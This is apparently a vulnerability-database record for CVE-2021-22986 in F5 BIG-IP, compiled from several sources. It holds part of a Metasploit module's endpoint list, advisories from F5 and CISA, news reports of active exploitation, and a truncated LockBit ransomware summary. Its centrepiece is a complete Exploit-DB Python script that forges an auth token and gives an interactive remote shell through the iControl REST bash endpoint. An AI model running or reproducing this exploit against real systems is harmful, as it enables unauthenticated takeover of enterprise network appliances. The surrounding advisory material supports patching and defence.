/cm/autodeploy/software-images/indexing\n /cm/autodeploy/software-volume-install/indexing\n /cm/system/authn/providers/tmos/1f44a60e-11a7-3c51-a49f-82983026b41b/users/indexing\n /cm/system/authn/providers/tmos/indexing\n /mgmt/shared/analytics/avr-proxy-tasks\n /mgmt/shared/gossip\n /mgmt/shared/gossip-peer-refresher\n /mgmt/shared/identified-devices/config/device-refresh\n /mgmt/shared/save-config\n /mgmt/tm/shared/bigip-failover-state\n /shared/analytics/avr-proxy-tasks\n /shared/analytics/avr-proxy-tasks/indexing\n /shared/analytics/event-aggregation-tasks/indexing\n /shared/analytics/event-analysis-tasks/indexing\n /shared/authn/providers/local/groups/indexing\n /shared/authz/remote-resources/indexing\n /shared/authz/resource-groups/indexing\n /shared/authz/roles/indexing\n /shared/authz/tokens/indexing\n /shared/chassis-framework-upgrades/indexing\n /shared/device-discovery-tasks/indexing\n /shared/device-group-key-pairs/indexing\n /shared/echo/indexing\n /shared/framework-info-tasks/indexing\n /shared/framework-upgrades/indexing\n /shared/gossip\n /shared/gossip-peer-refresher\n /shared/group-task/indexing\n /shared/iapp/blocks/indexing\n /shared/iapp/build-package/indexing\n /shared/iapp/health-prefix-map/indexing\n /shared/iapp/package-management-tasks/indexing\n /shared/iapp/template-loader/indexing\n /shared/identified-devices/config/device-refresh\n /shared/nodejs/loader-path-config/indexing\n /shared/package-deployments/indexing\n /shared/resolver/device-groups/indexing\n /shared/resolver/device-groups/tm-shared-all-big-ips/devices/indexing\n /shared/root-framework-upgrades/indexing\n /shared/rpm-tasks/indexing\n /shared/save-config\n /shared/snapshot-task/indexing\n /shared/snapshot/indexing\n /shared/stats-information/indexing\n /shared/storage/tasks/indexing\n /shared/task-scheduler/scheduler/indexing\n /shared/tmsh-shell/indexing\n /tm/analytics/afm-sweeper/generate-report/indexing\n /tm/analytics/afm-sweeper/report-results/indexing\n /tm/analytics/application-security-anomalies/generate-report/indexing\n /tm/analytics/application-security-anomalies/report-results/indexing\n /tm/analytics/application-security-network/generate-report/indexing\n /tm/analytics/application-security-network/report-results/indexing\n /tm/analytics/application-security/generate-report/indexing\n /tm/analytics/application-security/report-results/indexing\n /tm/analytics/asm-bypass/generate-report/indexing\n /tm/analytics/asm-bypass/report-results/indexing\n /tm/analytics/asm-cpu/generate-report/indexing\n /tm/analytics/asm-cpu/report-results/indexing\n /tm/analytics/asm-memory/generate-report/indexing\n /tm/analytics/asm-memory/report-results/indexing\n /tm/analytics/cpu/generate-report/indexing\n /tm/analytics/cpu/report-results/indexing\n /tm/analytics/disk-info/generate-report/indexing\n /tm/analytics/disk-info/report-results/indexing\n /tm/analytics/dns/generate-report/indexing\n /tm/analytics/dns/report-results/indexing\n /tm/analytics/dos-l3/generate-report/indexing\n /tm/analytics/dos-l3/report-results/indexing\n /tm/analytics/http/generate-report/indexing\n /tm/analytics/http/report-results/indexing\n /tm/analytics/ip-intelligence/generate-report/indexing\n /tm/analytics/ip-intelligence/report-results/indexing\n /tm/analytics/ip-layer/generate-report/indexing\n /tm/analytics/ip-layer/report-results/indexing\n /tm/analytics/lsn-pool/generate-report/indexing\n /tm/analytics/lsn-pool/report-results/indexing\n /tm/analytics/memory/generate-report/indexing\n /tm/analytics/memory/report-results/indexing\n /tm/analytics/network/generate-report/indexing\n /tm/analytics/network/report-results/indexing\n /tm/analytics/pem/generate-report/indexing\n /tm/analytics/pem/report-results/indexing\n /tm/analytics/proc-cpu/generate-report/indexing\n /tm/analytics/proc-cpu/report-results/indexing\n /tm/analytics/protocol-security-http/generate-report/indexing\n /tm/analytics/protocol-security-http/report-results/indexing\n /tm/analytics/protocol-security/generate-report/indexing\n /tm/analytics/protocol-security/report-results/indexing\n /tm/analytics/sip/generate-report/indexing\n /tm/analytics/sip/report-results/indexing\n /tm/analytics/swg-blocked/generate-report/indexing\n /tm/analytics/swg-blocked/report-results/indexing\n /tm/analytics/swg/generate-report/indexing\n /tm/analytics/swg/report-results/indexing\n /tm/analytics/tcp-analytics/generate-report/indexing\n /tm/analytics/tcp-analytics/report-results/indexing\n /tm/analytics/tcp/generate-report/indexing\n /tm/analytics/tcp/report-results/indexing\n /tm/analytics/udp/generate-report/indexing\n /tm/analytics/udp/report-results/indexing\n /tm/analytics/vcmp/generate-report/indexing\n /tm/analytics/vcmp/report-results/indexing\n /tm/analytics/virtual/generate-report/indexing\n /tm/analytics/virtual/report-results/indexing\n /tm/shared/bigip-failover-state\n /tm/shared/sys/backup/indexing\n ]\n end\n\nend\n", "sourceHref": "https://github.com/rapid7/metasploit-framework/blob/master//modules/exploits/linux/http/f5_icontrol_rest_ssrf_rce.rb", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}], "exploitdb": [{"lastseen": "2022-08-16T06:05:12", "description": "", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-04-02T00:00:00", "type": "exploitdb", "title": "F5 BIG-IP 16.0.x - iControl REST Remote Code Execution (Unauthenticated)", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["2021-22986", "CVE-2021-22986"], "modified": "2021-04-02T00:00:00", "id": "EDB-ID:49738", "href": "https://www.exploit-db.com/exploits/49738", "sourceData": "# Exploit Title: F5 BIG-IP 16.0.x - iControl REST Remote Code Execution (Unauthenticated)\r\n# Exploit Author: Al1ex\r\n# Vendor Homepage: https://www.f5.com/products/big-ip-services\r\n# Version: 16.0.x before 16.0.1.1, 15.1.x before 15.1.2.1, 14.1.x before 14.1.4, 13.1.x before 13.1.3.6, and 12.1.x before 12.1.5.3 amd BIG-IQ 7.1.0.x before 7.1.0.3 and 7.0.0.x before 7.0.0.2\r\n# CVE : CVE-2021-22986\r\n\r\nimport requests\r\nfrom requests.packages.urllib3.exceptions import InsecureRequestWarning\r\nrequests.packages.urllib3.disable_warnings(InsecureRequestWarning)\r\nimport sys\r\n\r\n\r\ndef title():\r\n print('''\r\n ______ ____ ____ _______ ___ ___ ___ __ ___ ___ ___ ___ __ \r\n / |\\ \\ / / | ____| |__ \\ / _ \\ |__ \\ /_ | |__ \\ |__ \\ / _ \\ / _ \\ / / \r\n | ,----' \\ \\/ / | |__ ______ ) | | | | | ) | | | ______ ) | ) | | (_) | | (_) | / /_ \r\n | | \\ / | __| |______/ / | | | | / / | | |______/ / / / \\__, | > _ < | '_ \\ \r\n | `----. \\ / | |____ / /_ | |_| | / /_ | | / /_ / /_ / / | (_) | | (_) | \r\n \\______| \\__/ |_______| |____| \\___/ |____| |_| |____| |____| /_/ \\___/ \\___/ \r\n \r\n Author:Al1ex@Heptagram\r\n Github:https://github.com/Al1ex\r\n ''') \r\n\r\ndef exploit(url):\r\n\ttarget_url = url + '/mgmt/shared/authn/login'\r\n\tdata = {\r\n\t\t\"bigipAuthCookie\":\"\",\r\n\t\t\"username\":\"admin\",\r\n\t\t\"loginReference\":{\"link\":\"/shared/gossip\"},\r\n\t\t\"userReference\":{\"link\":\"https://localhost/mgmt/shared/authz/users/admin\"}\r\n\t}\r\n\theaders = {\r\n\t\t\"User-Agent\": \"hello-world\",\r\n\t\t\"Content-Type\":\"application/x-www-form-urlencoded\"\r\n\t}\r\n\tresponse = requests.post(target_url, headers=headers, json=data, verify=False, timeout=15)\r\n\tif \"/mgmt/shared/authz/tokens/\" not in response.text:\r\n\t\tprint('(-) Get token fail !!!')\r\n\t\tprint('(*) Tested Method 2:') \r\n\t\theader_2 = {\r\n\t\t 'User-Agent': 'hello-world',\r\n\t\t 'Content-Type': 'application/json',\r\n\t\t 'X-F5-Auth-Token': '',\r\n\t\t 'Authorization': 'Basic YWRtaW46QVNhc1M='\r\n\t\t}\r\n\t\tdata_2 = {\r\n\t\t\t\"command\": \"run\", \r\n\t\t\t\"utilCmdArgs\": \"-c whoami\"\r\n\t\t}\r\n\t\tcheck_url = url + '/mgmt/tm/util/bash'\r\n\t\ttry:\r\n\t\t\tresponse2 = requests.post(url=check_url, json=data_2, headers=header_2, verify=False, timeout=20)\r\n\t\t\tif response2.status_code == 200 and 'commandResult' in response2.text:\r\n\t\t\t\twhile True:\r\n\t\t\t\t\tcmd = input(\"(:CMD)> \")\r\n\t\t\t\t\tdata_3 = {\"command\": \"run\", \"utilCmdArgs\": \"-c '%s'\"%(cmd)}\r\n\t\t\t\t\tr = requests.post(url=check_url, json=data_3, headers=header_2, verify=False)\r\n\t\t\t\t\tif r.status_code == 200 and 'commandResult' in r.text:\r\n\t\t\t\t\t\tprint(r.text.split('commandResult\":\"')[1].split('\"}')[0].replace('\\\\n', ''))\r\n\t\t\telse:\r\n\t\t\t\tprint('(-) Not vuln...')\r\n\t\t\t\texit(0)\r\n\t\texcept Exception:\r\n\t\t\tprint('ERROR Connect')\r\n\tprint('(+) Extract token: %s'%(response.text.split('\"selfLink\":\"https://localhost/mgmt/shared/authz/tokens/')[1].split('\"}')[0]))\r\n\twhile True:\r\n\t\tcmd = input(\"(:CMD)> \")\r\n\t\theaders = {\r\n\t\t\t\"Content-Type\": \"application/json\",\r\n\t\t\t\"X-F5-Auth-Token\": \"%s\"%(response.text.split('\"selfLink\":\"https://localhost/mgmt/shared/authz/tokens/')[1].split('\"}')[0])\r\n\t\t}\r\n\t\tdata_json = {\r\n\t\t\t\"command\": \"run\", \r\n\t\t\t\"utilCmdArgs\": \"-c \\'%s\\'\"%(cmd)\r\n\t\t}\r\n\t\texp_url= url + '/mgmt/tm/util/bash'\r\n\t\texp_req = requests.post(exp_url, headers=headers, json=data_json, verify=False, timeout=15)\r\n\t\tif exp_req.status_code == 200 and 'commandResult' in exp_req.text:\r\n\t\t\tprint(exp_req.text.split('commandResult\":\"')[1].split('\"}')[0].replace('\\\\n', ''))\r\n\t\telse:\r\n\t\t\tprint('(-) Not vuln...')\r\n\t\t\texit(0)\r\n\r\nif __name__ == '__main__':\r\n title()\r\n if(len(sys.argv) < 2):\r\n \tprint('[+] USAGE: python3 %s https://<target_url>\\n'%(sys.argv[0]))\r\n \texit(0)\r\n else:\r\n \texploit(sys.argv[1])", "sourceHref": "https://www.exploit-db.com/download/49738", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}], "f5": [{"lastseen": "2022-02-10T00:00:00", "description": "When running in Appliance Mode, an authenticated user assigned the 'Administrator' role may be able to bypass Appliance Mode restrictions utilizing undisclosed iControl REST endpoints. ([CVE-2021-23015](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=2021-23015>))\n\n**Note**: This vulnerability is unrelated to the vulnerability described in the following article: [K03009991: iControl REST unauthenticated remote command execution vulnerability CVE-2021-22986](<https://support.f5.com/csp/article/K03009991>).\n\nImpact\n\nIn Appliance Mode, an authenticated user with valid user credentials assigned the Administrator role may be able to bypass appliance mode restrictions and run arbitrary commands. This is a control plane issue; there is no data plane exposure. Appliance Mode is enforced by a specific license or may be enabled or disabled for individual Virtual Clustered Multiprocessing (vCMP) guest instances. For information on Appliance mode, refer to: [K12815: Overview of Appliance mode](<https://support.f5.com/csp/article/K12815>). \n\n**Note**: If you believe your system may have been compromised, refer to [K11438344: Considerations and guidance when you suspect a security compromise on a BIG-IP system](<https://support.f5.com/csp/article/K11438344>).\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-04-28T15:27:00", "type": "f5", "title": "Appliance Mode authenticated iControl REST vulnerability CVE-2021-23015", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-22986", "CVE-2021-23015"], "modified": "2021-07-22T02:46:00", "id": "F5:K74151369", "href": "https://support.f5.com/csp/article/K74151369", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-02-10T00:00:00", "description": "When running in Appliance mode with Advanced WAF or ASM provisioned, the Traffic Management User Interface (TMUI), also referred to as the Configuration utility, has an authenticated remote command execution vulnerability in undisclosed pages. ([CVE-2021-22989](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-22989>))\n\n**Note**: For systems not running in Appliance mode, refer to [K45056101 Advanced WAF/ASM TMUI authenticated remote command execution vulnerability CVE-2021-22990](<https://support.f5.com/csp/article/K45056101>).\n\nImpact\n\nThis vulnerability allows highly privileged authenticated users with the roles Administrator, Resource Administrator, or Application Security Administrator with network access to the Configuration utility, through the BIG-IP management port or self IP addresses, to execute arbitrary system commands, create or delete files, or disable services. This vulnerability can only be exploited through the control plane and cannot be exploited through the data plane. Exploitation can lead to complete system compromise and breakout of Appliance mode. Appliance mode is enforced by a specific license or may be enabled or disabled for individual vCMP guest instances. For information on Appliance mode, refer to [K12815: Overview of Appliance mode](<https://support.f5.com/csp/article/K12815>).\n\n**Note**: If you believe your system may have been compromised, refer to [K11438344: Considerations and guidance when you suspect a security compromise on a BIG-IP system](<https://support.f5.com/csp/article/K11438344>).\n", "cvss3": {"exploitabilityScore": 3.1, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.9, "privilegesRequired": "LOW", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 6.0}, "published": "2021-03-10T14:49:00", "type": "f5", "title": "Appliance mode Advanced WAF/ASM TMUI authenticated remote command execution vulnerability CVE-2021-22989", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-22986", "CVE-2021-22987", "CVE-2021-22988", "CVE-2021-22989", "CVE-2021-22990", "CVE-2021-23007"], "modified": "2021-07-08T06:25:00", "id": "F5:K56142644", "href": "https://support.f5.com/csp/article/K56142644", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}], "thn": [{"lastseen": "2022-05-09T12:38:25", "description": "[](<https://thehackernews.com/images/-fDHng6o_Mgc/YFYaPcYnvAI/AAAAAAAACEo/0OqPmutMPS0yEPCAkfPEvGz8Z0E8VNZ2QCLcBGAsYHQ/s0/f5.jpg>)\n\nAlmost 10 days after application security company F5 Networks [released patches](<https://thehackernews.com/2021/03/critical-pre-auth-rce-flaw-found-in-f5.html>) for critical vulnerabilities in its BIG-IP and BIG-IQ products, adversaries have begun opportunistically mass scanning and targeting exposed and unpatched networking devices to break into enterprise networks.\n\nNews of in the wild exploitation comes on the heels of a proof-of-concept exploit code that surfaced online earlier this week by reverse-engineering the Java software patch in BIG-IP. The [mass scans](<https://twitter.com/bad_packets/status/1372650076024107009>) are said to have spiked since March 18.\n\nThe flaws affect BIG-IP versions 11.6 or 12.x and newer, with a critical remote code execution (CVE-2021-22986) also impacting BIG-IQ versions 6.x and 7.x. [CVE-2021-22986](<https://support.f5.com/csp/article/K03009991>) (CVSS score: 9.8) is notable for the fact that it's an unauthenticated, remote command execution vulnerability affecting the iControl REST interface, allowing an attacker to execute arbitrary system commands, create or delete files, and disable services without the need for any authentication.\n\nSuccessful exploitation of these vulnerabilities could lead to a full compromise of susceptible systems, including the possibility of remote code execution as well as trigger a buffer overflow, leading to a denial of service (DoS) attack.\n\n[](<https://thehackernews.com/images/-pOsO0M730cQ/YFYcww7f-PI/AAAAAAAA3s0/S9EnJJEwsiUZnY7kt2AC-WtKguHTDCbXwCLcBGAsYHQ/s0/hacking-code.jpg>)\n\nWhile F5 said it wasn't aware of any public exploitation of these issues on March 10, researchers from NCC Group [said](<https://research.nccgroup.com/2021/03/18/rift-detection-capabilities-for-recent-f5-big-ip-big-iq-icontrol-rest-api-vulnerabilities-cve-2021-22986/>) they have now found evidence of \"full chain exploitation of F5 BIG-IP/BIG-IQ iControl REST API vulnerabilities CVE-2021-22986\" in the wake of multiple exploitation attempts against its honeypot infrastructure.\n\nAdditionally, Palo Alto Networks' Unit 42 threat intelligence team [said](<https://twitter.com/Unit42_Intel/status/1373017186818781190>) it found attempts to exploit CVE-2021-22986 to install a variant of the Mirai botnet. But it's not immediately clear if those attacks were successful.\n\nGiven the popularity of BIG-IP/BIG-IQ in corporate and government networks, it should come as no surprise that this is the second time in a year F5 appliances have become a lucrative target for exploitation. \n\nLast July, the company addressed a similar critical flaw ([CVE-2020-5902](<https://thehackernews.com/2020/07/f5-big-ip-application-security.html>)), following which it was abused by Iranian and Chinese state-sponsored hacking groups, prompting the U.S. Cybersecurity and Infrastructure Security Agency (CISA) to issue an alert cautioning of a \"broad scanning activity for the presence of this vulnerability across federal departments and agencies.\"\n\n\"The bottom line is that [the flaws] affect all BIG-IP and BIG-IQ customers and instances \u2014 we urge all customers to update their BIG-IP and BIG-IQ deployments to the fixed versions as soon as possible,\" F5 Senior Vice President Kara Sprague [noted](<https://www.f5.com/company/blog/big-ip-and-big-iq-vulnerabilities-protecting-your-organization>) last week.\n\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-03-20T15:54:00", "type": "thn", "title": "Critical F5 BIG-IP Bug Under Active Attacks After PoC Exploit Posted Online", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-5902", "CVE-2021-22986"], "modified": "2021-03-22T14:27:48", "id": "THN:4959B86491B72239BCAF1958D167D57D", "href": "https://thehackernews.com/2021/03/latest-f5-big-ip-bug-under-active.html", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-05-09T12:39:02", "description": "[](<https://thehackernews.com/images/-6eC4FwSH2yw/YEmwuyqxcNI/AAAAAAAACAY/aWrRRdD8cBg6xoe5Pf5tW9tF8Rh1YaijwCLcBGAsYHQ/s0/f5-big-ip-hacking.jpg>)\n\nApplication security company F5 Networks on Wednesday published an [advisory](<https://support.f5.com/csp/article/K02566623>) warning of four critical vulnerabilities impacting multiple products that could result in a denial of service (DoS) attack and even unauthenticated remote code execution on target networks.\n\nThe patches concern a total of seven related flaws (from CVE-2021-22986 through CVE-2021-22992), [two](<https://bugs.chromium.org/p/project-zero/issues/detail?id=2126>) of [which](<https://bugs.chromium.org/p/project-zero/issues/detail?id=2132>) were discovered and reported by Felix Wilhelm of Google Project Zero in December 2020.\n\nThe four critical flaws affect BIG-IP versions 11.6 or 12.x and newer, with a critical pre-auth remote code execution (CVE-2021-22986) also affecting BIG-IQ versions 6.x and 7.x. F5 said it's not aware of any public exploitation of these issues.\n\nSuccessful exploitation of these vulnerabilities could lead to a full compromise of vulnerable systems, including the possibility of remote code execution as well as trigger a buffer overflow, leading to a DoS attack.\n\nUrging customers to update their BIG-IP and BIG-IQ deployments to a fixed version as soon as possible, F5 Networks' Kara Sprague [said](<https://www.f5.com/company/blog/big-ip-and-big-iq-vulnerabilities-protecting-your-organization>) the \"vulnerabilities were discovered as a result of regular and continuous internal security testing of our solutions and in partnership with respected third parties working through F5's security program.\"\n\n[](<https://thehackernews.com/images/-VxN1SzbZz9k/YEmul9_bMdI/AAAAAAAACAQ/zxGSMU-no54Ri18zqGtIANW32scBRojhwCLcBGAsYHQ/s0/f5.jpg>)\n\nThe vulnerabilities have been addressed in the following products:\n\n * BIG-IP versions: 16.0.1.1, 15.1.2.1, 14.1.4, 13.1.3.6, 12.1.5.3, and 11.6.5.3\n * BIG-IQ versions: 8.0.0, 7.1.0.3, and 7.0.0.2\n\nBesides these flaws, Wednesday's patches also include fixes for 14 other unrelated security issues.\n\nThe fixes are notable for the fact that it's the second time in as many years that F5 has revealed flaws that could allow remote code execution. \n\nThe latest update to BIG-IP software arrives less than a year after the company addressed a [similar critical flaw](<https://support.f5.com/csp/article/K52145254>) ([CVE-2020-5902](<https://thehackernews.com/2020/07/f5-big-ip-application-security.html>)) in early July 2020, with multiple hacking groups exploiting the bug to target unpatched devices, prompting the U.S. Cybersecurity and Infrastructure Security Agency (CISA) to issue an [alert](<https://us-cert.cisa.gov/ncas/alerts/aa20-206a>) cautioning of a \"broad scanning activity for the presence of this vulnerability across federal departments and agencies.\"\n\n\"This bug is probably going to fly under the radar, but this is a much bigger deal than it looks because it says something is really really broken in the internal security process of F5 BIG-IP devices,\" [said](<https://twitter.com/pwnallthethings/status/1369682528982999048>) Matt \"Pwn all the Things\" Tait in a tweet.\n\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-03-11T05:56:00", "type": "thn", "title": "Critical Pre-Auth RCE Flaw Found in F5 Big-IP Platform \u2014 Patch ASAP!", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-5902", "CVE-2021-22986", "CVE-2021-22992"], "modified": "2021-03-11T06:01:14", "id": "THN:D31DB501A57ADE0C1DBD12724D8CA44C", "href": "https://thehackernews.com/2021/03/critical-pre-auth-rce-flaw-found-in-f5.html", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}], "cisa": [{"lastseen": "2021-08-02T18:07:56", "description": "F5 has released a [security advisory](<https://support.f5.com/csp/article/K02566623>) to address remote code execution (RCE) vulnerabilities\u2014[CVE-2021-22986](<https://support.f5.com/csp/article/K03009991>), [CVE-2021-22987](<https://support.f5.com/csp/article/K18132488>)\u2014impacting BIG-IP and BIG-IQ devices. An attacker could exploit these vulnerabilities to take control of an affected system.\n\nCISA encourages users and administrators review the [F5 advisory](<https://support.f5.com/csp/article/K02566623>) and install updated software as soon as possible.\n\nThis product is provided subject to this Notification and this [Privacy & Use](<https://www.dhs.gov/privacy-policy>) policy.\n\n**Please share your thoughts.**\n\nWe recently updated our anonymous [product survey](<https://www.surveymonkey.com/r/CISA-cyber-survey?product=https://us-cert.cisa.gov/ncas/current-activity/2021/03/10/f5-security-advisory-rce-vulnerabilities-big-ip-big-iq>); we'd welcome your feedback.\n", "cvss3": {"exploitabilityScore": 3.1, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.9, "privilegesRequired": "LOW", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 6.0}, "published": "2021-03-10T00:00:00", "type": "cisa", "title": "F5 Security Advisory for RCE Vulnerabilities in BIG-IP, BIG-IQ", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-22986", "CVE-2021-22987"], "modified": "2021-03-10T00:00:00", "id": "CISA:A55091A825D08BAA55750010D4193771", "href": "https://us-cert.cisa.gov/ncas/current-activity/2021/03/10/f5-security-advisory-rce-vulnerabilities-big-ip-big-iq", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}], "hivepro": [{"lastseen": "2022-03-15T12:02:03", "description": "THREAT LEVEL: Red. For a detailed advisory, download the pdf file here Since September 2021, LockBit 2.0 has targeted 500+ organizations in vital areas globally. The most recent attack targeted well-known tire producer Bridgestone, software behemoth Accenture, and the French Ministry of Justice. LockBit 2.0 ransomware compromises victim networks through a variety of techniques, including, but not limited to, purchased access, unpatched vulnerabilities, insider access, and zero-day exploit. Some of the know vulnerabilities exploited are CVE-2021-22986 affecting BIG-IP products and CVE-2018-13379 impacting FortiOS. The ransomware first assesses the system and user language settings and only targets those that do not match a predefined list of Eastern European languages. It then erases system logs and shadow copies on disk as soon as the infection begins. In addition to this, it also collects system data such as hostname, host configuration, domain information, local drive configuration, remote shares, and mounted external storage devices. Furthermore, it tries to encrypt all data stored to any local or remote device, but it ignores files linked with critical system operations. After the encryption, the ransomware deletes itself from the disk and creates persistence upon startup. Lockbit 2.0 affiliates typically employ the Stealbit program received straight from the Lockbit panel to exfiltrate certain file types prior to encryption. The affiliate can adjust the desired file types to adapt the attack to the target. Additionally, they frequently employ publicly accessible file-sharing platforms such as privatlab.net, anonfiles.com, sendspace.com, fex.net, transfer.sh, and send.exploit.in. While some of these programs and services may serve legitimate reasons, others may be exploited by threat actors. The Organizations can mitigate the risk by following the recommendations: \u2022Use multi-factor authentication. \u2022Keep all operating systems and software up to date. \u2022Remove unnecessary access to administrative shares. \u2022Maintain offline backups of data and Ensure all backup data is encrypted and immutable. \u2022Enable protected files in the Windows Operating System for critical files. The Mitre TTPs commonly used by LockBit 2.0 are: TA0040 - ImpactTA0042 - Resource Development TA0001 - Initial Access TA0002 - Execution TA0003 - Persistence TA0005 - Defense Evasion TA0006 - Credential Access TA0007 - Discovery TA0008 - Lateral Movement TA0009 - Collection TA0011 - Command and ControlTA0010 - ExfiltrationT1190: Exploit Public-Facing ApplicationT1047: Windows Management InstrumentationT1059: Command and Scripting 